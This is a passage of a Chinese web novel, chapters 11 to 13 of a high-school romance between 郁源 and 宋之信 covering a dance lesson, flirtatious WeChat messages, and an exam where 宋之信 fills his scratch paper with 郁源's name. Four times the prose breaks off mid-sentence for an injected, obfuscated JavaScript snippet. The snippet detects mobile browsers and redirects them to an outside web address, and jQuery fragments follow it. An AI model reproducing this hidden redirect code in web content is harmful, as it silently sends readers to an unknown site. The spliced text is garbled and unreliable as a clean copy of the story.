“郁源,我们要不要再练一下。”宋之信犹豫,“踩到你了怎么办。” “没关系,我不介意。”郁源说得很干脆,又低头看了眼自己新买没穿两天的鞋,“当然,练习几遍也可以。” 宋之信看样子松口气,这才缓缓握住郁源的手。 他的掌心宽大,指节修长,能把郁源的手整个包裹住。 两人的皮肤紧紧贴合,互相熨烫,郁源觉得宋之信的掌心触感不太柔软,甚至可以说是粗粝,而且很干燥,有近似夏天的温度。 郁源开口,指令清晰:“现在听音乐的拍子。数到第四个重拍,我们就开始。” 刚迈步,郁源的脚就被踩了一下:“……”他姑且忍了,低声说,“宋之信,你是迈右脚,不要记错。” 宋之信:“……哦。” 郁源:“再来一次。” 两人停在原地,郁源刚示意他继续,宋之信就踏错方向。 郁源紧急停住,依然直直撞上宋之信的肩膀,两人踉踉跄跄挨着彼此,不远处的人群炸开一阵骚动。 “……宋之信,”郁源稳定身形,顺便拽他一把,“老师教的时候应该也有讲,我现在再强调。前面几个节拍我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471554|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向都是反着来的,明白吗?” “哦。” 宋之信站直了,立刻点头。他们重新开始,推进两个步骤,郁源又被踩一下。 “……”郁源吃痛,骤然松开手。 可能因为神色看起来实在不大好了,宋之信语无伦次,连声对他道歉:“郁源,我…对不起对不起……” 这一脚结结实实,郁源额角青筋直跳,疼得眉毛都锁紧,鼻子跟着皱一下。他往后退了好几步,硬生生和宋之信撤出一段距离。 郁源思绪混乱,甚至都不用抬头再看人群,凭借余光,还有刚才精准传出的笑声,知道众目睽睽下,自己与宋之信大概已经成为被取乐的焦点。 可是宋之信的表情实在难看。 刚才自己跳开,宋之信就下意识想追上前,此刻眼中的愧疚更是不加掩饰。 “……” 郁源仰脸,把情绪悉数咽回肚子里,重新牵起宋之信的手: “没关系,我们再来吧。” - 郁源放开宋之信的手,掌心已一片汗湿。热是感受不到了,更多是淋漓的凉意。 宋之信对他说谢谢,郁源冷淡地看他一眼,没有说话,轻轻颔首算是回应。 随后无视掉宋之信欲言又止的表情,直接转身朝蒋汀和祝雨澄走去。 “蒋汀你刚才笑够了吗。” 郁源满腔怨气无从发泄,率先拿他开刀:“那么多人,就你笑得最欢。” “哟,”蒋汀朝他挤眉弄眼,揶揄道,“圆圆你真在乎我。教人跳舞还分心,关注我笑没笑。” “……”郁源剜来一眼,抬腿作势要踹他。蒋汀躲在祝雨澄身后,幽幽地说:“圆圆,你现在是不是很生气,还觉得特别丢脸啊。” 妈呀蒋汀你疯啦…祝雨澄瞳孔地震,怕他再说出什么惊天动地的话来,疯狂用眼神暗示。 “和宋之信千辛万苦半节课,才拿到个及格的分数,”蒋汀却完全视而不见,正色道,“还很难说是不是老师看你们忙活那么久放的水。” “所以郁源,你又是何必呢!” “你和宋之信明明这么不合拍,偏偏还要去教他跳舞。” “……” 一时间四下沉默,祝雨澄横在他俩中间,看看这个看看那个,正绞尽脑汁打算说点什么缓和气氛,郁源开了口: “老师放水又怎么样,我们不合拍又怎么样。” 郁源理直气壮:“最后还不是补考通过了。” ……你又嘴硬! 这下轮到蒋汀想踹他了,幸亏被祝雨澄及时架住。郁源继续道:“有眼睛的都能看出来,宋之信本来也不擅长跳舞吧。” “如果对他来说,只需要及格就不用补考,你非要用优秀的标准来衡量他吗?” 蒋汀安静看他半晌,似乎是委屈,悻悻道:“圆圆,都是宋之信害你这样。我打抱不平,你还替他说话。” 郁源不为所动:“我只是在陈述事实。” 蒋汀发动最后一击,不服气地叫嚷:“可他还踩脏了你攒钱买的新鞋!” “……”操!!! 提起这茬,郁源的表情终于出现裂缝。 他低头端详,鞋面上深深浅浅的灰白痕迹,好几块足印覆盖叠加,也不知道最后是否能彻底弄干净。 郁源难免心痛:“你们俩先回去吧,我找个水龙头处理一下。” 郁源和他们二人别过,独自走向操场看台下安装的水龙头。 他拧开水龙头,水流倾泻而下,郁源拿出纸巾打湿了,准备俯身擦拭鞋面。 但郁源突然没有再动作,抬手把哗哗作响的水龙头关掉,烦躁道: “又跟过来干什么?宋之信。” 11. 广告 “宋之信,你究竟是想干什么?” 郁源头也没抬,口吻中带着嘲讽: “就这么喜欢跟着我?” “我……”宋之信的脚步骤然停住,说话又变得不太利索,“没,没有。” “郁源,我只是想来谢谢你。” 郁源方才撩起眼,平静地看着他。 猝不及防和郁源对视,宋之信镜片后的眸光闪烁,话音又低一些:“因为刚才我说谢谢,你好像没有听见,直接走了。所以我再来说一遍。” “郁源,谢谢你。” 他抿了抿唇,郑重道:“如果没有你,我可能还要再补考,也等不到新的舞伴。” “郁源,你真好。愿意教我跳舞,那么耐心,又……那么善良。” “所以,”宋之信抬一下镜腿,缓缓道,“我……应该怎么感谢你?” “……不用了,宋之信。” 过了半晌,郁源终于开口:“你说过好几遍谢谢,这已经够了。” “不过……” 他眯起眼睛,话锋忽地一转:“如果可以,麻烦你多在微信上和我说话,最好分享的事情与学习无关,我对你的竞赛题以及解法都不感兴趣!” “还有,”郁源陡然抬高音量,“宋之信,以后少惹我生气了!” “生气?” 宋之信微微地愣住了,脸上满是讶异和困惑。他问:“郁源,我让你生气了吗?” “……” 郁源不回答,怨愤地别开了脸。 “那,那……郁源,”宋之信迟疑一下,还是缓缓朝他走过来,“你别生气了。” “你不要生气。”他的语气很温吞,平平直直没有什么起伏,捎带的情绪却紧张而无措,“郁源,你不要生气,都…都是我不好。” 郁源横去一眼:“你哪里不好?” 宋之信闻言,似乎是非常努力地想了想,才说:“我……我手脚不协调,刚才跳舞,踩到你很多次脚。” 他问:“郁源,是不是很痛?” 郁源不置可否,又说:“还有呢?” “……”宋之信再思索一会儿:“你的鞋子,原来很干净。却被我弄脏了。我可以赔你一双。” 谁要占你便宜?郁源暗自嘀咕,很快说:“不用你赔。”随后继续问:“还有呢?” “什么?” 宋之信怔然开口。 方才一番冥思苦想,仍然不得其解,宋之信捉襟见肘,实在不明白自己到底还有哪里存在让郁源生气的可能性了。 于是诚实地承认:“对不起,我不知道。” “不知道。” 郁源面无表情,把这三个字含在唇齿间,又冷淡地重复一遍。手里的纸巾被揉成团攥紧了,掌心沁入一些湿润的凉意。 却见宋之信忽地抬头,神色犹豫地看着他:“……郁源。” 宋之信左支右绌,最终还是小心翼翼问出口:“‘不知道’本身,是不是也让你生气?” “……”郁源沉默了。 宋之信误打误撞,最没有底气的一句,反而阴差阳错地最逼近正确答案。 郁源一时间恍神,不知道如何回应,心脏变成一枚皱巴巴的杏干,几经烘烤晾晒,酸和甜的滋味各占一半。 “那如果,”宋之信却也没有等他回应的意思,兀自抬眸,缓慢而认真地说,“如果我下次又让你生气的话,请你一定要告诉我,郁源。” “你不要因为我生气了,好不好。”他的态度很恳切,又朝郁源凑近两步,“郁源,我也会……也会努力不让你生气的。” 他顿了顿,再一本正经地补充:“你让我多和你在微信上说说话……分享和学习无关的事情、不要发竞赛题,我都会照做的。” 周遭霎时间陷入一片空旷的寂静,只剩下树叶在风动中错杂而混乱的声音。 过很久,郁源才叫他:“宋之信。” 宋之信连忙露出洗耳恭听的神色,等待郁源的下文。 郁源只是垂眼,双手抱臂,低不可闻地叹声气,呢喃: “真是笨死了,宋之信。” - 郁源结束在校昏天暗地的一天回到家,已接近气竭。 再过两天就是市统考,晚自习被迫延长不说,这段时间的学习强度也跟着陡增,走进房间看见书桌上摆着没做完的试卷,郁源两眼一黑,简直连呕吐的心情都要有。 他把书包随手卸下扔一边,恨不能变成一滩软泥,融化椅背上。 刚放空了一会儿大脑,口袋里手机振动,郁源掏出手机摁亮屏幕,果不其然是宋之信发来的消息。 自上次带宋之信通过交际舞考核已有半月余,宋之信竟然真的很好地践行承诺,开始和他分享“与学习无关”的日常生活。 大体上脱不开今天吃了什么,除学习以外又做了什么,心情怎么样,单调而缺乏变化。 但偶尔也会有琐碎的新奇——街边看见绿化带种的花,补习路上碰到的小狗,忽然发现的一棵奇形怪状的树,都被宋之信细致地记录。 宋之信写,路边的花很漂亮,小狗毛茸茸的特别可爱,这棵树的形状有点奇怪……郁源,你今天做了什么,吃了什么,心情怎么样,过得好不好? 手机又接连嗡鸣几声,弹窗无一例外全是宋之信的消息提醒。郁源回神,疲惫的眉眼缓缓舒展下来,感到近乎蓬松的安定与柔软。 打开和宋之信的聊天页面,对方只接连发来几张图片,暂时没有进行文字说明。 郁源把图片点开逐一浏览,发现图片的内容竟然都关于近期某个热播偶像剧的男主角的护肤品代言。 男主角衣冠楚楚,隔着屏幕分别在地铁灯箱,商圈大屏和公交站牌上,笑意盈盈地与郁源对视。 郁源的眉心重重一跳,胸口都似乎砸出声响。他下意识问:【这是什么意思,宋之信?】 随后摁灭手机,对着漆黑的屏幕呆坐半晌,才重新解锁。 宋之信还没动静,郁源开始编辑消息。此刻心头的情绪难以言喻,萦绕有一团翻涌的阴云,说不清将要带来的是雾霾还是冷雨。 郁源反复删删改改,最终和宋之信的消息几乎同时发出。 郁源:【宋之信,你喜欢这个明星?】 宋之信:【路上都是他的广告。】 对话框微妙地僵持几秒,才出现“对方正在输入…”的标识。而郁源没有去等宋之信的答复,又迅速追问:【你觉得他很好看?】 刚一发送出去郁源就后悔,指腹立刻去按对话框。可想到宋之信肯定已经看见,再撤回就显得欲盖弥彰。 出乎意料的,宋之信表示不解:【为什么这样问,郁源?】 郁源沉默,避重就轻地解释:【毕竟如果是喜欢某个明星的话,大部分人的首要原因就是他长得很好看吧。】 片刻后,宋之信说:【原来是这样。】 宋之信: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471555|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【如果喜欢他的人很多的话,可能他确实是长得很好看吧。】 宋之信继续刨根问底:【那喜欢他的人很多吗,郁源?】 郁源瞪大眼睛,简直不可思议:【宋之信,你来问我?】 宋之信:【你不知道吗,郁源。】 哪怕知道宋之信只是单纯的问询,没有任何挑衅或讥讽的意味,郁源依然被激怒。他噼里啪啦打字,尖锐地回击:【最应该知道的不就是你吗,宋之信?】 宋之信稳稳接下:【啊。我不知道。】 郁源咬着后槽牙,愤愤道:【你不知道?】 他问出口:【你要是不知道,为什么拍了好几张关于他的广告发给我?】 宋之信:【啊。】 宋之信:【郁源。】 宋之信:【因为我只是在想。】 宋之信:【这些广告都很大,很亮。】 宋之信:【如果在路上能够像这样,看见的全都是你的照片就好了。】 隔几秒,又冒出一句:【我一定会觉得特别赏心悦目吧。】 “……” 来不及作出任何明确的反应,郁源猛地把手机倒扣在桌面,愣愣抬头—— 前方一块光洁的台镜,映出他震颤的双眼,和已经红透的整张脸。 他咬住嘴唇,拿起手机编辑: 郁源:【好的,不要再说了宋之信。】 郁源:【我要去复习了,晚安。】 心中后知后觉掀起惊涛骇浪,方才烧到咽喉的烟熏火燎都被浇灭。郁源听见胸腔内有石头频频滚落,扑通,扑通。 点击发送,郁源拽了拽头发,直接熄屏了手机,不管不顾往桌面重重一搁。 他翻出草稿纸和笔,试图把注意力转移到那套试卷。 还没有做完两道选择题,郁源的手机又振动一声。大概是宋之信也给他回了晚安,郁源不太在意,眼神都没挪,轻描淡写给试卷翻页。 结果不多时,手机却继续振动起来,嗡鸣一声一声接踵而至,密密麻麻地敲击他本来就烦乱敏感的神经。 “……”郁源倒吸一口气,眉头紧锁。 宋之信这人还有没有一点眼力见?都说了要复习,还在一个劲缠着自己发些什么?! 几声过后,手机似乎消停,安安静静躺在桌面,好像刚才的骚扰没有发生过。 郁源定了定神,看来宋之信终于识趣,姑且决定网开一面,睡前再批阅一下也不是不行。 他低头,刚在草稿纸上画出一个坐标系,手机忽然叮咚一声。屏幕刹那间亮起来,故态复萌地一边振动,一边弹出几个消息提醒。 “……”有完没完了宋之信??? 郁源烦不胜烦忍无可忍,把笔一摔拍桌而起,咬牙切齿地再度拿起手机。 单刀直入点进和宋之信的聊天页面,正要兴师问罪,发现最下方只有宋之信的一句“晚安”。 “……” 郁源怀疑地往底部划了划,半天也没加载出任何新的消息:竟然不是宋之信。 怎么会不是宋之信?郁源抿唇,退出了聊天页面。置顶中蒋汀的头像右上角红点瞩目,里面的数字还在不断跳跃变换。 ——原来是你! 郁源蹙眉,不禁暗骂,蒋汀你抽风了吧大晚上的扰什么民?正要点进去和他大吵一架,屏幕顶部忽地一个弹窗,蒋汀的最新消息跳出来: 【你知不知道你和宋之信在一个考场?】 12. 考场 “?” 郁源简直匪夷所思。 考场不是按照排名来分配的吗,宋之信一个照片往荣誉墙上挂的,怎么能沦落到和自己同考场? 蒋汀又甩出一张截图。郁源放大一看,宋之信和自己隔得还尤其近,座位就在他的侧后方。 “诶呦喂。” 蒋汀直接发来一段语音:“郁源,你们两个究竟是什么缘分啊?刚认识就坐这么近,到底准备干嘛呀!” “……” 郁源被他的捏腔拿调弄得头皮发麻,还没回击,蒋汀新发的语音已经自动连播:“圆圆,或许有没有一种可能……” 说到这里,蒋汀战术性停顿,荡气回肠:“既然宋之信喜欢你,说不定是他故意控分,就为了和你在同一个考场呢!” 郁源:“……………………” 他对着屏幕翻个白眼,恼羞成怒一气呵成: 郁源:【滚!】 郁源:【你无脑短剧看多了?!】 自己和宋之信最近一次都参加的统考,真要算起日子,当时他们谁都没见过谁呢! 但总归不是没有原因,郁源义愤填膺退出和蒋汀的对话,望着与宋之信的聊天框陷入思索。 半晌,郁源打开班级群,找到上次统考的成绩汇总表格,搜索宋之信的名字。页面跳转,郁源瞪大眼睛,宋之信的语文那栏,竟然挂了一个触目惊心的零。 ——怎么回事,还缺考了? 郁源皱眉,几秒内心中已冒出数种可能。他打定主意。自己非要当面问个清楚! - 附中每逢统考,并不强制要求学生早晚自习,考试当天,郁源却难得没睡懒觉。 有气无力站在走廊,郁源打完哈欠,眼角沾染几颗困倦的泪花。 他眨了眨眼,视线恢复清明,才朝考场内望去,教室还没有开灯,只零星坐着几位同学。 郁源迈腿走入,宋之信果然已经到了,身前桌面上摆着一份薄薄的纸质资料,垂头看得聚精会神。 郁源习惯在他脸上判断出各种代表窘迫或惶恐的表情,而此刻宋之信面色如水,浓眉压眼,下颌微微内收,倒真有与“竞赛大佬”身份相符合的睿智、冷静和沉稳。 他站在门口打量宋之信好一会儿,对方都完全没有察觉,间隙还给手里的资料翻过几页。 郁源无奈地叹口气,别过脸短促地咳嗽起来。声音在空旷的教室弥散开,变得异常清晰。 教室里几名同学都不约而同抬头看向门口。郁源耳根发烫,躲避其他视线,若无其事撩起眼皮,正与错愕的宋之信四目相对。 宋之信眨眼,张嘴,却没有立即发出声音。须臾,才怔怔地叫他: “郁……郁源。” “早上好。” 郁源克制地颔首,加快脚步朝宋之信走去。 “……” 宋之信显然愣一下,紧接着一动不动,变成一尊笨重的木雕。可目光紧紧粘在郁源的脸上,由远再拉近,好像具有某种黏稠而绵长的形状。 郁源在他斜前方的座位停下来,把书包放在桌上,勾了勾唇:“干什么呀宋之信?以为我来找你的?” “不…不是。” 宋之信摇头,结结巴巴想要解释,郁源又说:“噢,你才知道我们一个考场?” 他眯起眼睛,语气似乎多有不满。宋之信看起来很局促,连忙道歉:“对不起。” 郁源却像听到什么很好笑的话,轻轻一哂,突然搬起椅子,径直走到宋之信的桌前,把椅子一搁,好整以暇地坐下。 “为什么又说对不起?”郁源歪了歪头,无辜道,“我没生气呢,宋之信。” 两人现在的距离,说是近在咫尺也毫不夸张。宋之信肉眼可见地羞赧起来,兀自垂眸,视线尽数藏在镜片后面。 郁源顺势看见他镜片后面非常浓密的一对眼睫,像两片黑亮的蝴蝶翅膀,快而细微地扑朔、扑朔,扇得自己心里也有些痒。他开口:“宋之信,为什么上次统考语文会缺考?” “……”宋之信骤然抬头,慌乱又诧异:“郁源,你,你怎么会知道。” “别想太多了!”郁源斜他一眼,“谁会闲着没事干故意看你成绩?” 他皱眉,用抱怨的口吻:“我们的排名本来就相近,谁要你的零分太显眼?想不注意都难。” 只是想到这里,郁源不免悲愤。 在一门主课缺考另外三门文科成绩差强人意的情况下,宋之信还能做到和自己同考场,这是比荣誉墙上遥不可及的分数更切实的冲击力。 “这个是,是因为,”过了一会儿,宋之信闪烁其词,“那天早上我睡过头了,所以……所以干脆不来考了。” “……睡过头?”郁源意外地看着他,实在没想到是这种荒唐的原因。 “……”宋之信沉默稍许,又开口:“郁源。我,我其实不太喜欢语文。” “不喜欢语文?” “嗯。”宋之信点头,语气少有的低落与苦恼,“很讨厌。” “小学的时候……语文就不好,大家都笑话我。”他说,“最讨厌做阅读理解。隐喻太多,藏得很深。根本弄不懂作者的主旨和思想感情,为了编答案,还要努力去猜。” 宋之信闷闷不乐说完,无意识低头,看向那份纸质资料。郁源跟随他的视线,粗略地瞟了几眼,才发现这套资料是套阅读理解的答题模板,内容属于只能用来生搬硬套的初中生级别。 “……原来如此。”静了一会儿,郁源才开口,“不过现在谁敢因为语文成绩笑话你,宋之信?他们也得掂量一下自己什么水平。” 宋之信不置可否,只愣愣地注视他,有些失神。郁源飞快地错开眼:“你干嘛呀?我说的是事实,别不爱听。” “没有。”宋之信说。 “但听你这样说,”郁源单手托腮,若有所思,“我倒有个疑惑宋之信。” “所以,宋之信,”他转了转眼珠,眸中一点狡黠,“你到底是因为睡过头缺考,还是因为讨厌语文缺考?” “……” 宋之信一滞,心虚地不说话了。 原来他这样死板木讷的人,对待不喜欢的事情,竟然也有天真又生动的孩子气,郁源托腮看他,眼睛里似笑非笑。 转念又想,此番算是报了宋之信让他数次自乱阵脚的仇,顿觉大快人心,于是挑眉,恶劣而轻盈地扬起嘴角。 刚咧开一个浅浅的弧度,听见宋之信说:“不过,还好这次没有缺考。” “……” 郁源有所警惕,赶紧收束嘴角严阵以待。 宋之信推一下镜框,眼神明亮:“郁源,没想到,能和你在同一个考场,我真的很高兴。” 郁源置若罔闻,蹭地站起来,搬着椅子头也没回,步履僵硬地挪去原位。 一直到考前,郁源都没再和宋之信搭话,只争分夺秒地背记古诗词和作文万用素材。 响铃后试卷发放下来,教室里布满稀里哗啦翻页的声音。 郁源快速浏览作文材料,离题的可能性不大,心中的石头霎时落了地,马不停蹄去做对他而言最棘手的说明文阅读。 刚读完几段,前一位同学给他递条形码。郁源接过,撕了条形码稳稳贴好,微微扭头,把条形码递给后桌的同学。 不料一抬眼,瞥见宋之信正襟危坐,定定地望着自己出神:“………………” 郁源面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471556|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无表情地回身,捏紧手中的笔。 ———自己差点都忘了,宋之信到底多喜欢看他!!! - 终考铃响,郁源有惊无险写完最后一个字,如释重负把笔放下,长长呼了口气。 他起身,活动一下酸麻的手腕,顺便去看宋之信。 宋之信依然坐在座位上,神情心不在焉,桌面上还没被收走的答题卡大片区域空空荡荡。 郁源咬牙,心头直接就是一股无名邪火,抬腿气势汹汹走向他:“宋之信!” 宋之信迟钝地仰头,郁源双手插在校服口袋里,居高临下看不清表情:“你跟我过来。” “哦…哦。” 宋之信忙不迭起身,跟着郁源出了教室。 两人来到楼梯间拐角,郁源倚靠在墙边,带着怨气开口:“宋之信。你反正能保送,对待考试态度随意也就算了,但这两个多小时没别的事可做吗?” 宋之信不明所以,迷茫地看着他,郁源直截了当:“语文考试,你看了我多久?” “……” 宋之信又不说话了,脸上的表情可谓精彩纷呈。郁源很熟悉,和先前被郁源揭穿因为任性缺考如出一辙。 “……” 郁源简直无语,白眼都没力气翻。做得时候心安理得明目张胆,现在摆出这副扭捏作态给谁看? “对不起,郁源。” 宋之信微微垂头,道起歉来已然是轻车熟路。郁源啧了声,并不买账,宋之信继续附上非常诚恳的解释: “因为……你离我这么近,我不看你,就会一直想,然后又忍不住。” 郁源:“……………………” “谁要听你解释?!”他猛地别过脸,语气抑扬顿挫,“我不管!接下来的考试,你不许再看我!” 他想了想,伸出手指戳几下宋之信的肩,有警告的意味:“而且你这样,可能会影响我做题。你知道统考对我来说很重要吧?” 宋之信果然被恐吓,再度道歉:“郁源,我真的很对不起。我不是故意想影响你……” “对不起?你说几个对不起有什么用?”郁源冷酷地睨他,“还好我定力强,才没让你影响。要是接下来真的有科目考砸,难道我还能怪你吗?!” “……” 宋之信被他训得面红耳赤,张了张嘴,看样子还要继续忏悔,郁源赶紧趁他出声之前把人截停: “宋之信,你就拿着草稿纸,练字,画火柴人,折纸飞机……呃,实在不行随便在教室找个物体做受力分析,哪里没有事干了?” “怎么样,宋之信,”郁源双手抱臂,仰起脸,“我给的选择够多了吧?” 宋之信连忙点头。 走廊里响起吹哨声,短暂的休息时间结束,下一门考试又要开始了。郁源不再多说,转身先进教室。 这一门是副科,难度并不大,郁源提前做完,还留了近十五分钟检查,顿觉神清气爽,终考铃后去找宋之信,也愿意给他好脸色。 宋之信见郁源走过来,抬了一下眼镜,郑重地和他保证:“郁源,刚才考试,我真的没有再看你。” 郁源表示满意,瞟见被宋之信用手肘盖住的草稿纸。灰绿的纸面上似乎是字迹,密密麻麻,但分布排列得散乱,不像成段的语句。 他顿时好奇:“那你考试的时候在干什么呢,写东西?” “哦,这个是……” 宋之信移开手肘,刚准备回答,郁源已经把这张草稿纸拿了起来。 随后脸色一变,骤然抓紧了纸面。 我靠。郁源的心脏狠狠一跳,大脑宕机,不知道该作何反应。 ——草稿纸上,写满了自己的名字。 13. 不忍 这是什么?这是什么?? 郁源难以置信地看着他,这都是什么??? 郁源不说话,一阵呼吸困难天旋地转。 再一翻页,发现背面也有:“………………” 宋之信见他沉默,便站起来,指了指郁源手里的草稿纸:“不是写东西,郁源。我在练字。” “……” 郁源险些惊呼出声:“你练字干嘛要写我的名字?!” “啊,这个是因为,”宋之信扶一下镜框,温吞地解释,“郁源,我不是不能看你吗。” 他说:“所以我想看一次,就写一次你的名字。写一遍,脑海里面你就出现一次,不需要再唔……” “你快别说了!” 郁源方寸大乱,情急之下伸手捂住他的嘴:“宋之信,可以了。原因我已经知道了!” 他几乎是跳起来扑上前,踉踉跄跄便重心失稳。宋之信只能仰头败退,两人紧挨彼此,腰腹隔着校服衣料全然贴在一起,幸而宋之信及时伸手撑在桌沿,堪堪维持着平衡。 他们四目相对,宋之信怔然地眨几次眼,郁源方才后知后觉,意识到自己的掌心竟然还覆在宋之信的唇上,皮肤传来温热而柔软的触感。 郁源如遭电击,赶紧把手放下,尚且惊魂未定,教室门口蓦地响起熟悉的话音:“靠啊终于考完了!真是饿死我了!圆圆,我们快去——” 蒋汀毫无防备,叫嚷着走进教室,随即紧急刹车,话音戛然而止。郁源视死如归地抬头,蒋汀瞠目结舌,呆立门口宛若石化。 “……” 郁源深呼吸,闭眼,欲盖弥彰朝宋之信的反方向挪了两步,撤出一段距离以示清白。 蒋汀兀自安静半晌,终于抬手抹了把脸,摇着头仰天长叹:“我的天哪。”说罢便满脸痛惜地转身,头也不回扬长而去。 他就这么一走了之,郁源实在尴尬,没脸跟上,也没脸挽留。偏偏宋之信露出困惑的神情,发问:“郁源,刚才谁在门口大声喧哗。” “关你什么事!” 郁源羞愤地瞪他一眼,宋之信哦了声,又抬一下眼镜,顺从地不说话了。 郁源故作镇定,再次垂眸,看着手里的草稿纸。字迹错落,或遒劲有力或行云流水,无一例外,满眼都是郁源,郁源。 “……” 郁源真没眼再看了,头脑发热,连带觉得这张草稿纸也烫手,甚至冒出想把它狠狠揉成团丢远的冲动。 郁源指节微微发颤,又缓了一会儿,才虚弱地把草稿纸对折,反复几次,叠成一个稍具厚度的小方块。 他抬起眼睛,把小方块重重往宋之信手里砸:“宋之信!” 小方块被郁源摔得高高弹上半空,宋之信手忙脚乱,很是笨拙地去接。 “……” 郁源不忍直视地别开脸,拔高音量掷地有声:“你的大作,还是拿去自己珍藏吧!” - “我的天哪。” 蒋汀咬着吸管,再次感慨:“郁源你知不知道?我一进门,就看见你们两个在那打情骂俏,这个冲击力……” “蒋汀,前因后果我是没说吗!”郁源简直听不下去,当即驳斥,“你怎么还揪着不放?!” “……我看见这种画面还没收你精神损失费呢你在这里恶人先告状?”蒋汀语速飞快,毫不留情地反击,“郁源你告诉我,是宋之信让你贴上去的吗?是宋之信让你捂他嘴吗?” 郁源不说话了,脸上阴云密布,对他怒目而视。 “哎行了行了,都是宋之信的错,可以吧?”蒋汀见好就收,给他顺毛,免不了吐槽几句,“都什么年代了,还有人在草稿纸上写暗恋对象名字?你说我无脑短剧看多了,我看倒是另有其人。” “这桩桩件件的,”蒋汀晃着奶茶杯,唏嘘,“他到底是多喜欢你啊,郁源。” 蒋汀的尾音很轻,捎带绵密的余韵,郁源垂眼,只觉得似有细雨敲打心脏。他撇了撇嘴角,低声说:“……我怎么知道。” “不过,”蒋汀瞥他,“郁源。你和宋之信现在是什么情况?前段时间还闹矛盾,搞得你那么生气。怎么突然就瞒着我,不仅和好了,还关系突飞猛进?” 蒋汀的表情认真,不像是随口一提。郁源咬着嘴唇,默默移开了视线。 “……”蒋汀看他几秒,正色道:“郁源,我觉得你好像有点乐在其中呢。” 他说:“你对宋之信现在是什么态度,能不能给我个准话?” “……什么准话。”郁源嘀咕,“你不会觉得我已经喜欢上宋之信了吧。” “谁知道呢,”蒋汀耸肩,意味不明地哼笑,“我看你现在就挺上头的。” 他和郁源对视,恢复到戏谑的口吻:“圆圆,如果能帮你认清内心,我也算是功德一件嘛。” 两人之间鲜少有这样紧绷的时刻,安静很久,郁源才烦躁地开口:“好吧。” “我承认,宋之信做的一些事说的一些话,确实是很有迷惑性……让我有一点触动。这个答案你满意吗?” 他皱着眉头,又生硬地补充:“说是触动,但其实也只是一点!一点好吗!” “你知道的,我也不是那种铁石心肠的人啊,宋之信……总是这样,我不可能无动于衷的。” “我才没有喜欢他。”郁源轻声下了结论,忽然得到莫名的底气,一字一句斩钉截铁,“我现在对宋之信,只是……于心不忍而已!!!” “于心不忍?”蒋汀挑了挑眉,惊讶地把这四个字复述一遍。 “对!就是于心不忍。”郁源愈发理直气壮起来,“因为他看起来特别喜欢我,可是真的太笨了!我实在是看不下去,所以愿意搭理他,这样不行吗?” “哇,圆圆,”蒋汀瞪大眼睛,不假思索脱口而出,“那我是要说你善良呢,还是要说你在吊着他?” 郁源一怔,错愕道:“……什么算是我在吊着他?”他不可置信,嘴唇颤抖,“蒋汀你哪边的?在给谁说话呢?” “啊圆圆……对不起。”蒋汀自知失言,顿时也慌了,连忙道歉,“我只是……” 郁源却不管不顾把他打断,反问:“是我主动勾着他来喜欢我吗?是我让他说我漂亮还在纸上写满我的名字吗?” “蒋汀,你能不能搞清楚?是我居心叵测,甚至有意在诱导宋之信吗?”明明只要我站在这里,宋之信就会情难自禁被我吸引,难道也是我的错吗? 郁源几乎没带换气地说完,胸口剧烈地伏动。滚烫,又有一些发麻。 他感到委屈,愤怒,怨怼,或许还掺杂别的情绪。但当下理智被尽数淹没,已经无从分析判断,郁源只固执地认定,如此种种并不因为蒋汀,必然由宋之信带来。 “……圆圆。”蒋汀见他不再说话,赶紧用哄慰的语气又道歉一次,“好啦,真的对不起。是我不会说话,我不应该质疑你的动机。” “我只是,我只是觉得,”蒋汀犹豫一下,还是说出口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471557|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你们俩现在的相处模式……确实不正常,我不希望投入更多的那个人是你。” “不过……”蒋汀叹气,“不过宋之信确实不是什么正常人,你和他这样相处也能理解。” 郁源的神情有所缓和,蒋汀便摇了摇他的肩膀:“圆圆,圆圆,我今天晚上请你吃饭吧,你别生气了,好不好?” - 郁源和蒋汀讨价还价,最终成功宰了对方三天的晚饭,这才心满意足地原谅他,动身回自己的考场。 